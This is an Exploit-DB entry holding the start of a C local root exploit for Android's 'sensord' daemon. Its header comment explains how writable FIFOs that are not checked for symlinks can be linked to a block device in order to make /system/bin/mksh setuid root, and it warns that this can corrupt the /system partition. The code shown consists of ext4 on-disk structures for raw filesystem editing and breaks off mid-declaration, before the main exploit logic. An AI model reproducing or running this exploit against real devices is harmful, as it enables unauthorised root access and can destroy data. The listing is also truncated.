Exploit-DB #39340
Description: Google Android - 'sensord' Local Privilege Escalation
Type: local
Platform: android
Date: 2016-01-27
Author: s0m3b0dy

Exploit:
/*
 * Android sensord 0day root exploit by s0m3b0dy
 * tested on LG L7 (PL)
 *
 *
 * need pentests? s0m3b0dy1(at)gmail.com
 *
 * * * * * * * * * * * * * * * * * * * * * * * *
 *
 * some Android devices have sensord deamon,
 * for some ROMs the deamon is running as root process(there we can use this exploit)
 *
 * and
 *---------
 * root@android:/ # strace sensord
 * ...
 * open("/data/misc/sensor/fifo_cmd", O_RDWR|O_LARGEFILE) = 12
 * ...
 * open("/data/misc/sensor/fifo_dat", O_RDWR|O_LARGEFILE) = 13
 * fchmod(12, 0666)                        = 0
 * fchmod(13, 0666)                        = 0
 * ---------
 * there is no check that the files are not links, so we can link it to eg. block device and make it rw!
 * exploit will set bit suid on /system/bin/mksh, need to reboot the device after step 1 and step 2
 *
 * this exploit is dangerous, before step 1 exploit is disabling auto-rotate to not overwrite /system pertition!
 *
 * the author is not responsible for any damage
 * for education purpose only :)
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <dirent.h>
#include <ctype.h>


#define FIFO_DAT "/data/misc/sensor/fifo_dat"
#define SH "/system/bin/mksh"

struct ext4_super_block {
 /*00*/  __le32  s_inodes_count;
         __le32  s_blocks_count_lo;
         __le32  s_r_blocks_count_lo;
         __le32  s_free_blocks_count_lo;
 /*10*/  __le32  s_free_inodes_count;
         __le32  s_first_data_block;
         __le32  s_log_block_size;
         __le32  s_log_cluster_size;
 /*20*/  __le32  s_blocks_per_group;
         __le32  s_clusters_per_group;
         __le32  s_inodes_per_group;
         __le32  s_mtime;
 /*30*/  __le32  s_wtime;
         __le16  s_mnt_count;
         __le16  s_max_mnt_count;
         __le16  s_magic;
         __le16  s_state;
         __le16  s_errors;
         __le16  s_minor_rev_level;
 /*40*/  __le32  s_lastcheck;
         __le32  s_checkinterval;
         __le32  s_creator_os;
         __le32  s_rev_level;
 /*50*/  __le16  s_def_resuid;
         __le16  s_def_resgid;
         __le32  s_first_ino;
         __le16  s_inode_size;
         __le16  s_block_group_nr;
         __le32  s_feature_compat;
 /*60*/  __le32  s_feature_incompat;
         __le32  s_feature_ro_compat;
 /*68*/  __u8    s_uuid[16];
 /*78*/  char    s_volume_name[16];
 /*88*/  char    s_last_mounted[64];
 /*C8*/  __le32  s_algorithm_usage_bitmap;
         __u8    s_prealloc_blocks;
         __u8    s_prealloc_dir_blocks;
         __le16  s_reserved_gdt_blocks;
 /*D0*/  __u8    s_journal_uuid[16];
 /*E0*/  __le32  s_journal_inum;
         __le32  s_journal_dev;
         __le32  s_last_orphan;
         __le32  s_hash_seed[4];
         __u8    s_def_hash_version;
         __u8    s_jnl_backup_type;
         __le16  s_desc_size;
 /*100*/ __le32  s_default_mount_opts;
         __le32  s_first_meta_bg;
         __le32  s_mkfs_time;
         __le32  s_jnl_blocks[17];
 /*150*/ __le32  s_blocks_count_hi;
         __le32  s_r_blocks_count_hi;
         __le32  s_free_blocks_count_hi;
         __le16  s_min_extra_isize;
         __le16  s_want_extra_isize;
         __le32  s_flags;
         __le16  s_raid_stride;
         __le16  s_mmp_update_interval;
         __le64  s_mmp_block;
         __le32  s_raid_stripe_width;
         __u8    s_log_groups_per_flex;
         __u8    s_checksum_type;
         __u8    s_encryption_level;
         __u8    s_reserved_pad;
         __le64  s_kbytes_written;
         __le32  s_snapshot_inum;
         __le32  s_snapshot_id;
         __le64  s_snapshot_r_blocks_count;
         __le32  s_snapshot_list;
 #define EXT4_S_ERR_START offsetof(struct ext4_super_block, s_error_count)
         __le32  s_error_count;
         __le32  s_first_error_time;
         __le32  s_first_error_ino;
         __le64  s_first_error_block;
         __u8    s_first_error_func[32];
         __le32  s_first_error_line;
         __le32  s_last_error_time;
         __le32  s_last_error_ino;
         __le32  s_last_error_line;
         __le64  s_last_error_block;
         __u8    s_last_error_func[32];
 #define EXT4_S_ERR_END offsetof(struct ext4_super_block, s_mount_opts)
         __u8    s_mount_opts[64];
         __le32  s_usr_quota_inum;
         __le32  s_grp_quota_inum;
         __le32  s_overhead_clusters;
         __le32  s_backup_bgs[2];
         __u8    s_encrypt_algos[4];
         __u8    s_encrypt_pw_salt[16];
         __le32  s_lpf_ino;
         __le32  s_prj_quota_inum;
         __le32  s_checksum_seed;
         __le32  s_reserved[98];
        __le32  s_checksum;
};

struct ext4_group_desc
{
         __le32  bg_block_bitmap_lo;
         __le32  bg_inode_bitmap_lo;
         __le32  bg_inode_table_lo;
         __le16  bg_free_blocks_count_lo;
         __le16  bg_free_inodes_count_lo;
         __le16  bg_used_dirs_count_lo;
         __le16  bg_flags;
         __le32  bg_exclude_bitmap_lo;
         __le16  bg_block_bitmap_csum_lo;
         __le16  bg_inode_bitmap_csum_lo;
         __le16  bg_itable_unused_lo;
         __le16  bg_checksum;
         __le32  bg_block_bitmap_hi;
         __le32  bg_inode_bitmap_hi;
         __le32  bg_inode_table_hi;
         __le16  bg_free_blocks_count_hi;
         __le16  bg_free_inodes_count_hi;
         __le16  bg_used_dirs_count_hi;
         __le16  bg_itable_unused_hi;
         __le32  bg_exclude_bitmap_hi;
         __le16  bg_block_bitmap_csum_hi;
         __le16  bg_inode_bitmap_csum_hi;
         __u32   bg_reserved;
 };

struct ext4_inode {
         __le16  i_mode;
         __le16  i_uid;
         __le32  i_size_lo;
         __le32  i_atime;
         __le32  i_ctime;
         __le32  i_mtime;
         __le32  i_dtime;
         __le16  i_gid;
         __le16  i_links_count;
         __le32